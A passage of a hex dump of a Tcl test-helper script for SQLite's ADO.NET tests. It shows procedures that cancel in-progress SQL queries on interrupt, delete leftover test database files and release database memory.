NOTE: 16e30 20 46 6f 72 20 5b 74 70 75 74 73 5d 2e 0d 0a 20 For [tputs]... 16e40 20 20 20 20 20 20 20 20 20 64 65 62 75 67 20 69 debug i 16e50 6e 76 6f 6b 65 20 30 20 73 65 74 20 3a 3a 74 65 nvoke 0 set ::te 16e60 73 74 5f 6c 6f 67 20 24 6c 6f 67 3b 20 23 20 4e st_log$log; # N 16e70 4f 54 45 3a 20 46 6f 72 20 5b 74 6c 6f 67 5d 2e OTE: For [tlog]. 16e80 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 23 0d .... #. 16e90 0a 20 20 20 20 20 20 20 20 20 20 23 20 4e 4f 54 . # NOT 16ea0 45 3a 20 49 6e 73 74 61 6c 6c 20 74 68 65 20 63 E: Install the c 16eb0 61 6c 6c 62 61 63 6b 20 73 63 72 69 70 74 20 74 allback script t 16ec0 6f 20 62 65 20 65 76 61 6c 75 61 74 65 64 20 69 o be evaluated i 16ed0 6e 20 74 68 65 20 69 73 6f 6c 61 74 65 64 0d 0a n the isolated.. 16ee0 20 20 20 20 20 20 20 20 20 20 23 20 20 20 20 20 # 16ef0 20 20 69 6e 74 65 72 70 72 65 74 65 72 20 77 68 interpreter wh 16f00 65 6e 20 74 68 69 73 20 69 6e 74 65 72 70 72 65 en this interpre 16f10 74 65 72 20 69 73 20 69 6e 74 65 72 72 75 70 74 ter is interrupt 16f20 65 64 20 62 79 20 73 63 72 69 70 74 0d 0a 20 20 ed by script.. 16f30 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 # 16f40 63 61 6e 63 65 6c 6c 61 74 69 6f 6e 2c 20 65 74 cancellation, et 16f50 63 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 23 0d c... #. 16f60 0a 20 20 20 20 20 20 20 20 20 20 64 65 62 75 67 . debug 16f70 20 63 61 6c 6c 62 61 63 6b 20 61 70 70 6c 79 20 callback apply 16f80 7b 7b 73 65 6e 64 65 72 20 65 7d 20 7b 0d 0a 20 {{sender e} {.. 16f90 20 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 #.. 16fa0 20 20 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 # NOTE 16fb0 3a 20 43 68 65 63 6b 20 69 66 20 74 68 69 73 20 : Check if this 16fc0 64 65 62 75 67 67 65 72 20 63 61 6c 6c 62 61 63 debugger callbac 16fd0 6b 20 69 73 20 6f 6e 65 20 74 68 61 74 20 77 65 k is one that we 16fe0 20 63 61 72 65 20 61 62 6f 75 74 2e 0d 0a 20 20 care about... 16ff0 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 #.. 17000 20 20 20 20 20 20 20 20 20 73 65 74 20 69 6e 74 set int 17010 65 72 72 75 70 74 54 79 70 65 73 20 5b 73 70 6c erruptTypes [spl 17020 69 74 20 5b 24 65 20 49 6e 74 65 72 72 75 70 74 it [$e Interrupt 17030 54 79 70 65 5d 20 22 2c 20 22 5d 0d 0a 0d 0a 20 Type] ", "].... 17040 20 20 20 20 20 20 20 20 20 20 20 69 66 20 7b 22 if {" 17050 43 61 6e 63 65 6c 65 64 22 20 69 6e 20 24 69 6e Canceled" in$in 17060 74 65 72 72 75 70 74 54 79 70 65 73 20 7c 7c 20 terruptTypes || 17070 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 \.. 17080 20 20 20 22 55 6e 77 6f 75 6e 64 22 20 69 6e 20 "Unwound" in 17090 24 69 6e 74 65 72 72 75 70 74 54 79 70 65 73 7d $interruptTypes} 170a0 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. 170b0 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. 170c0 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 # NOTE: 170d0 4d 61 6b 65 20 73 75 72 65 20 74 68 65 20 5b 6f Make sure the [o 170e0 62 6a 65 63 74 5d 20 63 6f 6d 6d 61 6e 64 20 69 bject] command i 170f0 73 20 61 76 61 69 6c 61 62 6c 65 2e 20 20 53 69 s available. Si 17100 6e 63 65 0d 0a 20 20 20 20 20 20 20 20 20 20 20 nce.. 17110 20 20 20 23 20 20 20 20 20 20 20 74 68 69 73 20 # this 17120 69 73 20 61 6e 20 69 73 6f 6c 61 74 65 64 20 69 is an isolated i 17130 6e 74 65 72 70 72 65 74 65 72 2c 20 63 68 65 63 nterpreter, chec 17140 6b 20 66 6f 72 20 69 74 20 74 68 65 20 68 61 72 k for it the har 17150 64 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 d.. 17160 20 23 20 20 20 20 20 20 20 77 61 79 2e 0d 0a 20 # way... 17170 20 20 20 20 20 20 20 20 20 20 20 20 20 23 0d 0a #.. 17180 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 if 17190 20 7b 5b 6c 6c 65 6e 67 74 68 20 5b 69 6e 66 6f {[llength [info 171a0 20 63 6f 6d 6d 61 6e 64 73 20 6f 62 6a 65 63 74 commands object 171b0 5d 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b 0d 0a ]] > 0} then {.. 171c0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 171d0 23 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 #.. 171e0 20 20 20 23 20 4e 4f 54 45 3a 20 49 74 65 72 61 # NOTE: Itera 171f0 74 65 20 74 68 72 6f 75 67 68 20 61 6c 6c 20 64 te through all d 17200 61 74 61 62 61 73 65 20 63 6f 6e 6e 65 63 74 69 atabase connecti 17210 6f 6e 73 20 6b 6e 6f 77 6e 20 74 6f 20 74 68 65 ons known to the 17220 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 17230 20 20 23 20 20 20 20 20 20 20 70 61 72 65 6e 74 # parent 17240 20 69 6e 74 65 72 70 72 65 74 65 72 2e 0d 0a 20 interpreter... 17250 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 23 # 17260 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 17270 20 20 6f 62 6a 65 63 74 20 66 6f 72 65 61 63 68 object foreach 17280 20 2d 61 6c 69 61 73 20 70 61 69 72 20 5b 6f 62 -alias pair [ob 17290 6a 65 63 74 20 69 6e 76 6f 6b 65 20 2d 66 6c 61 ject invoke -fla 172a0 67 73 20 2b 4e 6f 6e 50 75 62 6c 69 63 20 5c 0d gs +NonPublic \. 172b0 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . 172c0 20 20 20 20 20 24 65 20 49 6e 74 65 72 70 72 65$e Interpre 172d0 74 65 72 2e 63 6f 6e 6e 65 63 74 69 6f 6e 73 5d ter.connections] 172e0 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 {.. 172f0 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. 17300 20 20 20 20 20 20 20 20 20 20 20 23 20 4e 4f 54 # NOT 17310 45 3a 20 41 74 74 65 6d 70 74 20 74 6f 20 63 61 E: Attempt to ca 17320 6e 63 65 6c 20 61 6e 79 20 53 51 4c 20 71 75 65 ncel any SQL que 17330 72 69 65 73 20 69 6e 20 70 72 6f 67 72 65 73 73 ries in progress 17340 20 6f 6e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 on.. 17350 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 74 # t 17360 68 69 73 20 64 61 74 61 62 61 73 65 20 63 6f 6e his database con 17370 6e 65 63 74 69 6f 6e 2e 0d 0a 20 20 20 20 20 20 nection... 17380 20 20 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 #.. 17390 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 173a0 20 69 66 20 7b 5b 63 61 74 63 68 20 7b 24 70 61 if {[catch {$pa 173b0 69 72 20 56 61 6c 75 65 2e 43 61 6e 63 65 6c 7d ir Value.Cancel} 173c0 20 65 72 72 6f 72 5d 7d 20 74 68 65 6e 20 7b 0d error]} then {. 173d0 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . 173e0 20 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 tputs$::te 173f0 73 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 st_channel [appe 17400 6e 64 41 72 67 73 20 5c 6e 20 5c 0d 0a 20 20 20 ndArgs \n \.. 17410 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 17420 20 20 20 20 20 22 3d 3d 3d 3d 20 57 41 52 4e 49 "==== WARNI 17430 4e 47 3a 20 66 61 69 6c 65 64 20 74 6f 20 63 61 NG: failed to ca 17440 6e 63 65 6c 20 71 75 65 72 79 20 66 6f 72 20 22 ncel query for " 17450 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 17460 20 20 20 20 20 20 20 20 20 20 20 20 22 63 6f 6e "con 17470 6e 65 63 74 69 6f 6e 20 5c 22 22 20 5b 24 70 61 nection \"" [$pa 17480 69 72 20 4b 65 79 5d 20 22 5c 22 2c 20 65 72 72 ir Key] "\", err 17490 6f 72 3a 20 22 20 5c 6e 5c 74 20 5c 0d 0a 20 20 or: " \n\t \.. 174a0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 174b0 20 20 20 20 20 20 24 65 72 72 6f 72 20 5c 6e 5d$error \n] 174c0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 174d0 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 }.. 174e0 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 }.. 174f0 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b } else { 17500 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 17510 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 5f tputs $::test_ 17520 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 channel [appendA 17530 72 67 73 20 5c 6e 20 5c 0d 0a 20 20 20 20 20 20 rgs \n \.. 17540 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 3d "= 17550 3d 3d 3d 20 57 41 52 4e 49 4e 47 3a 20 63 61 6e === WARNING: can 17560 6e 6f 74 20 63 61 6e 63 65 6c 20 61 6e 79 20 71 not cancel any q 17570 75 65 72 69 65 73 3a 20 22 20 5c 0d 0a 20 20 20 ueries: " \.. 17580 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 17590 20 22 74 68 65 20 5c 22 6f 62 6a 65 63 74 5c 22 "the \"object\" 175a0 20 63 6f 6d 6d 61 6e 64 20 69 73 20 6e 6f 74 20 command is not 175b0 61 76 61 69 6c 61 62 6c 65 5c 6e 22 5d 0d 0a 20 available\n"].. 175c0 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a }.. 175d0 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 }.. 175e0 20 20 20 20 20 20 20 20 20 7d 7d 0d 0a 20 20 20 }}.. 175f0 20 20 20 20 20 7d 20 66 69 6e 61 6c 6c 79 20 7b } finally { 17600 0d 0a 20 20 20 20 20 20 20 20 20 20 72 65 73 74 .. rest 17610 6f 72 65 45 6e 76 69 72 6f 6e 6d 65 6e 74 56 61 oreEnvironmentVa 17620 72 69 61 62 6c 65 73 20 5b 6c 69 73 74 20 5c 0d riables [list \. 17630 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 71 . q 17640 75 69 65 74 46 69 6e 64 49 6e 74 65 72 70 72 65 uietFindInterpre 17650 74 65 72 54 65 73 74 50 61 74 68 20 71 75 69 65 terTestPath quie 17660 74 53 65 74 75 70 49 6e 74 65 72 70 72 65 74 65 tSetupInterprete 17670 72 54 65 73 74 50 61 74 68 5d 0d 0a 20 20 20 20 rTestPath].. 17680 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 7d 20 65 }.. } e 17690 72 72 6f 72 5d 20 3d 3d 20 30 7d 20 74 68 65 6e rror] == 0} then 176a0 20 7b 0d 0a 20 20 20 20 20 20 20 20 61 64 64 43 {.. addC 176b0 6f 6e 73 74 72 61 69 6e 74 20 69 6e 74 65 72 72 onstraint interr 176c0 75 70 74 43 61 6c 6c 62 61 63 6b 2e 73 71 6c 69 uptCallback.sqli 176d0 74 65 33 0d 0a 0d 0a 20 20 20 20 20 20 20 20 74 te3.... t 176e0 70 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 79 65 puts$channel ye 176f0 73 5c 6e 0d 0a 20 20 20 20 20 20 7d 20 65 6c 73 s\n.. } els 17700 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 74 70 75 e {.. tpu 17710 74 73 20 24 63 68 61 6e 6e 65 6c 20 5b 61 70 70 ts $channel [app 17720 65 6e 64 41 72 67 73 20 22 6e 6f 2c 20 65 72 72 endArgs "no, err 17730 6f 72 3a 20 22 20 5c 6e 5c 74 20 24 65 72 72 6f or: " \n\t$erro 17740 72 20 5c 6e 5d 0d 0a 20 20 20 20 20 20 7d 0d 0a r \n].. }.. 17750 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 }..... pr 17760 6f 63 20 63 6c 65 61 6e 75 70 46 69 6c 65 20 7b oc cleanupFile { 17770 20 66 69 6c 65 4e 61 6d 65 20 7b 63 6f 6c 6c 65 fileName {colle 17780 63 74 20 74 72 75 65 7d 20 7b 66 6f 72 63 65 20 ct true} {force 17790 66 61 6c 73 65 7d 20 7d 20 7b 0d 0a 20 20 20 20 false} } {.. 177a0 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 #.. # NOT 177b0 45 3a 20 41 74 74 65 6d 70 74 20 74 6f 20 66 6f E: Attempt to fo 177c0 72 63 65 20 61 6c 6c 20 70 65 6e 64 69 6e 67 20 rce all pending 177d0 22 67 61 72 62 61 67 65 22 20 6f 62 6a 65 63 74 "garbage" object 177e0 73 20 74 6f 20 62 65 20 63 6f 6c 6c 65 63 74 65 s to be collecte 177f0 64 2c 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 d,.. # 17800 20 20 69 6e 63 6c 75 64 69 6e 67 20 53 51 4c 69 including SQLi 17810 74 65 20 73 74 61 74 65 6d 65 6e 74 73 20 61 6e te statements an 17820 64 20 62 61 63 6b 75 70 20 6f 62 6a 65 63 74 73 d backup objects 17830 3b 20 74 68 69 73 20 73 68 6f 75 6c 64 20 61 6c ; this should al 17840 6c 6f 77 0d 0a 20 20 20 20 20 20 23 20 20 20 20 low.. # 17850 20 20 20 74 68 65 20 75 6e 64 65 72 6c 79 69 6e the underlyin 17860 67 20 64 61 74 61 62 61 73 65 20 66 69 6c 65 20 g database file 17870 74 6f 20 62 65 20 64 65 6c 65 74 65 64 2e 0d 0a to be deleted... 17880 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 69 #.. i 17890 66 20 7b 24 63 6f 6c 6c 65 63 74 7d 20 74 68 65 f {$collect} the 178a0 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6c n {.. col 178b0 6c 65 63 74 47 61 72 62 61 67 65 20 24 3a 3a 74 lectGarbage$::t 178c0 65 73 74 5f 63 68 61 6e 6e 65 6c 0d 0a 20 20 20 est_channel.. 178d0 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 23 0d }.... #. 178e0 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 43 . # NOTE: C 178f0 68 65 63 6b 20 69 66 20 74 68 65 20 66 69 6c 65 heck if the file 17900 20 73 74 69 6c 6c 20 65 78 69 73 74 73 2e 0d 0a still exists... 17910 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 69 #.. i 17920 66 20 7b 5b 66 69 6c 65 20 65 78 69 73 74 73 20 f {[file exists 17930 24 66 69 6c 65 4e 61 6d 65 5d 7d 20 74 68 65 6e $fileName]} then 17940 20 7b 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 {.. #.. 17950 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 53 # NOTE: S 17960 6b 69 70 20 64 65 6c 65 74 69 6e 67 20 74 65 73 kip deleting tes 17970 74 20 66 69 6c 65 73 20 69 66 20 73 6f 6d 65 62 t files if someb 17980 6f 64 79 20 73 65 74 73 20 74 68 65 20 67 6c 6f ody sets the glo 17990 62 61 6c 20 76 61 72 69 61 62 6c 65 0d 0a 20 20 bal variable.. 179a0 20 20 20 20 20 20 23 20 20 20 20 20 20 20 74 6f # to 179b0 20 70 72 65 76 65 6e 74 20 69 74 2e 0d 0a 20 20 prevent it... 179c0 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. 179d0 20 69 66 20 7b 24 66 6f 72 63 65 20 7c 7c 20 21 if {$force || ! 179e0 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 6e [info exists ::n 179f0 6f 28 63 6c 65 61 6e 75 70 46 69 6c 65 29 5d 7d o(cleanupFile)]} 17a00 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. 17a10 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 #.. 17a20 23 20 4e 4f 54 45 3a 20 41 74 74 65 6d 70 74 20 # NOTE: Attempt 17a30 74 6f 20 64 65 6c 65 74 65 20 74 68 65 20 74 65 to delete the te 17a40 73 74 20 66 69 6c 65 20 6e 6f 77 2e 0d 0a 20 20 st file now... 17a50 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 17a60 20 20 20 20 20 69 66 20 7b 5b 73 65 74 20 63 6f if {[set co 17a70 64 65 20 5b 63 61 74 63 68 20 7b 66 69 6c 65 20 de [catch {file 17a80 64 65 6c 65 74 65 20 24 66 69 6c 65 4e 61 6d 65 delete $fileName 17a90 7d 20 65 72 72 6f 72 5d 5d 7d 20 74 68 65 6e 20 } error]]} then 17aa0 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 {.. # 17ab0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 20 .. # 17ac0 4e 4f 54 45 3a 20 57 65 20 73 6f 6d 65 68 6f 77 NOTE: We somehow 17ad0 20 66 61 69 6c 65 64 20 74 6f 20 64 65 6c 65 74 failed to delet 17ae0 65 20 74 68 65 20 66 69 6c 65 2c 20 72 65 70 6f e the file, repo 17af0 72 74 20 77 68 79 2e 0d 0a 20 20 20 20 20 20 20 rt why... 17b00 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 #.. 17b10 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 tputs$::tes 17b20 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e t_channel [appen 17b30 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 dArgs \.. 17b40 20 20 20 20 20 20 20 20 20 22 3d 3d 3d 3d 20 57 "==== W 17b50 41 52 4e 49 4e 47 3a 20 66 61 69 6c 65 64 20 74 ARNING: failed t 17b60 6f 20 64 65 6c 65 74 65 20 74 65 73 74 20 66 69 o delete test fi 17b70 6c 65 20 5c 22 22 20 24 66 69 6c 65 4e 61 6d 65 le \"" $fileName 17b80 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 17b90 20 20 20 20 22 5c 22 20 64 75 72 69 6e 67 20 63 "\" during c 17ba0 6c 65 61 6e 75 70 2c 20 65 72 72 6f 72 3a 20 22 leanup, error: " 17bb0 20 5c 6e 5c 74 20 24 65 72 72 6f 72 20 5c 6e 5d \n\t$error \n] 17bc0 0d 0a 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 .. }.. 17bd0 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d } else {. 17be0 0a 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 . #.. 17bf0 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 # NOTE: 17c00 53 68 6f 77 20 74 68 61 74 20 77 65 20 73 6b 69 Show that we ski 17c10 70 70 65 64 20 64 65 6c 65 74 69 6e 67 20 74 68 pped deleting th 17c20 65 20 66 69 6c 65 2e 0d 0a 20 20 20 20 20 20 20 e file... 17c30 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 #.. 17c40 73 65 74 20 63 6f 64 65 20 30 0d 0a 0d 0a 20 20 set code 0.... 17c50 20 20 20 20 20 20 20 20 74 70 75 74 73 20 24 3a tputs $: 17c60 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 :test_channel [a 17c70 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a 20 20 20 ppendArgs \.. 17c80 20 20 20 20 20 20 20 20 20 20 20 22 3d 3d 3d 3d "==== 17c90 20 57 41 52 4e 49 4e 47 3a 20 73 6b 69 70 70 65 WARNING: skippe 17ca0 64 20 64 65 6c 65 74 69 6e 67 20 74 65 73 74 20 d deleting test 17cb0 66 69 6c 65 20 5c 22 22 20 24 66 69 6c 65 4e 61 file \""$fileNa 17cc0 6d 65 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 me \.. 17cd0 20 20 20 20 22 5c 22 20 64 75 72 69 6e 67 20 63 "\" during c 17ce0 6c 65 61 6e 75 70 5c 6e 22 5d 0d 0a 20 20 20 20 leanup\n"].. 17cf0 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 7d 20 65 }.. } e 17d00 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 23 lse {.. # 17d10 0d 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 .. # NOTE 17d20 3a 20 54 68 65 20 66 69 6c 65 20 64 6f 65 73 20 : The file does 17d30 6e 6f 74 20 65 78 69 73 74 2c 20 73 75 63 63 65 not exist, succe 17d40 73 73 21 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a ss!.. #.. 17d50 20 20 20 20 20 20 20 20 73 65 74 20 63 6f 64 65 set code 17d60 20 30 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 0.. }.... 17d70 20 20 20 20 20 72 65 74 75 72 6e 20 24 63 6f 64 return $cod 17d80 65 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 e.. }..... 17d90 20 70 72 6f 63 20 63 6c 65 61 6e 75 70 4d 65 6d proc cleanupMem 17da0 6f 72 79 20 7b 20 76 61 72 4e 61 6d 65 20 7b 71 ory { varName {q 17db0 75 69 65 74 20 66 61 6c 73 65 7d 20 7d 20 7b 0d uiet false} } {. 17dc0 0a 20 20 20 20 20 20 69 66 20 7b 5b 68 61 76 65 . if {[have 17dd0 53 51 4c 69 74 65 4f 62 6a 65 63 74 43 6f 6d 6d SQLiteObjectComm 17de0 61 6e 64 5d 20 26 26 20 5c 0d 0a 20 20 20 20 20 and] && \.. 17df0 20 20 20 20 20 5b 73 74 72 69 6e 67 20 6c 65 6e [string len 17e00 67 74 68 20 24 76 61 72 4e 61 6d 65 5d 20 3e 20 gth$varName] > 17e10 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 0} then {.. 17e20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 23 20 #.. # 17e30 4e 4f 54 45 3a 20 52 65 66 65 72 20 74 6f 20 74 NOTE: Refer to t 17e40 68 65 20 73 70 65 63 69 66 69 65 64 20 76 61 72 he specified var 17e50 69 61 62 6c 65 20 28 65 2e 67 2e 20 22 63 6f 6e iable (e.g. "con 17e60 6e 65 63 74 69 6f 6e 22 29 20 69 6e 20 74 68 65 nection") in the 17e70 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 .. # 17e80 20 20 63 6f 6e 74 65 78 74 20 6f 66 20 6f 75 72 context of our 17e90 20 63 61 6c 6c 65 72 2e 20 20 54 68 65 20 6f 70 caller. The op 17ea0 61 71 75 65 20 6f 62 6a 65 63 74 20 68 61 6e 64 aque object hand 17eb0 6c 65 20 66 6f 72 20 61 6e 0d 0a 20 20 20 20 20 le for an.. 17ec0 20 20 20 23 20 20 20 20 20 20 20 41 44 4f 2e 4e # ADO.N 17ed0 45 54 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 70 72 ET connection pr 17ee0 65 76 69 6f 75 73 6c 79 20 72 65 74 75 72 6e 65 eviously returne 17ef0 64 20 62 79 20 5b 67 65 74 44 62 43 6f 6e 6e 65 d by [getDbConne 17f00 63 74 69 6f 6e 5d 0d 0a 20 20 20 20 20 20 20 20 ction].. 17f10 23 20 20 20 20 20 20 20 73 68 6f 75 6c 64 20 62 # should b 17f20 65 20 73 74 6f 72 65 64 20 74 68 65 72 65 2e 0d e stored there.. 17f30 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. 17f40 20 20 20 20 75 70 76 61 72 20 31 20 24 76 61 72 upvar 1 $var 17f50 4e 61 6d 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 0d Name connection. 17f60 0a 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b 5b ... if {[ 17f70 63 61 74 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 catch {.. 17f80 20 20 20 6f 62 6a 65 63 74 20 69 6e 76 6f 6b 65 object invoke 17f90 20 24 63 6f 6e 6e 65 63 74 69 6f 6e 20 52 65 6c$connection Rel 17fa0 65 61 73 65 4d 65 6d 6f 72 79 0d 0a 20 20 20 20 easeMemory.. 17fb0 20 20 20 20 7d 20 72 65 73 75 6c 74 5d 7d 20 74 } result]} t 17fc0 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 hen {.. 17fd0 20 69 66 20 7b 21 24 71 75 69 65 74 7d 20 74 68 if {!$quiet} th 17fe0 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 en {.. 17ff0 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 5f tputs$::test_ 18000 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 channel [appendA 18010 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 rgs \.. 18020 20 20 20 20 20 20 20 22 3d 3d 3d 3d 20 57 41 52 "==== WAR 18030 4e 49 4e 47 3a 20 66 61 69 6c 65 64 20 74 6f 20 NING: failed to 18040 72 65 6c 65 61 73 65 20 64 61 74 61 62 61 73 65 release database 18050 20 6d 65 6d 6f 72 79 2c 20 65 72 72 6f 72 3a 20 memory, error: 18060 22 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 " \.. 18070 20 20 20 20 20 5c 6e 5c 74 20 24 72 65 73 75 6c \n\t $resul 18080 74 20 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 20 20 t \n].. 18090 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 }.. }.. 180a0 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 }.... 180b0 69 66 20 7b 5b 6c 6c 65 6e 67 74 68 20 5b 69 6e if {[llength [in 180c0 66 6f 20 63 6f 6d 6d 61 6e 64 73 20 64 65 62 75 fo commands debu 180d0 67 5d 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b 0d g]] > 0} then {. 180e0 0a 20 20 20 20 20 20 20 20 69 66 20 7b 5b 63 61 . if {[ca 180f0 74 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 tch {.. 18100 20 75 70 6c 65 76 65 6c 20 31 20 5b 6c 69 73 74 uplevel 1 [list 18110 20 64 65 62 75 67 20 70 75 72 67 65 5d 0d 0a 20 debug purge].. 18120 20 20 20 20 20 20 20 7d 20 72 65 73 75 6c 74 5d } result] 18130 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. 18140 20 20 20 20 69 66 20 7b 21 24 71 75 69 65 74 7d if {!$quiet} 18150 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. 18160 20 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 tputs $::te 18170 73 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 st_channel [appe 18180 6e 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 ndArgs \.. 18190 20 20 20 20 20 20 20 20 20 20 22 3d 3d 3d 3d 20 "==== 181a0 57 41 52 4e 49 4e 47 3a 20 66 61 69 6c 65 64 20 WARNING: failed 181b0 74 6f 20 70 75 72 67 65 20 63 61 6c 6c 20 66 72 to purge call fr 181c0 61 6d 65 2c 20 65 72 72 6f 72 3a 20 22 20 5c 0d ame, error: " \. 181d0 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . 181e0 20 5c 6e 5c 74 20 24 72 65 73 75 6c 74 20 5c 6e \n\t$result \n 181f0 5d 0d 0a 20 20 20 20 20 20 20 20 20 20 7d 0d 0a ].. }.. 18200 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 }.... 18210 20 20 20 20 20 69 66 20 7b 5b 63 61 74 63 68 20 if {[catch 18220 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 75 70 6c {.. upl 18230 65 76 65 6c 20 31 20 5b 6c 69 73 74 20 64 65 62 evel 1 [list deb 18240 75 67 20 63 6c 65 61 6e 75 70 5d 0d 0a 20 20 20 ug cleanup].. 18250 20 20 20 20 20 7d 20 72 65 73 75 6c 74 5d 7d 20 } result]} 18260 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. 18270 20 20 69 66 20 7b 21 24 71 75 69 65 74 7d 20 74 if {!$quiet} t 18280 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 hen {.. 18290 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 tputs$::test 182a0 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 _channel [append 182b0 41 72 67 73 20 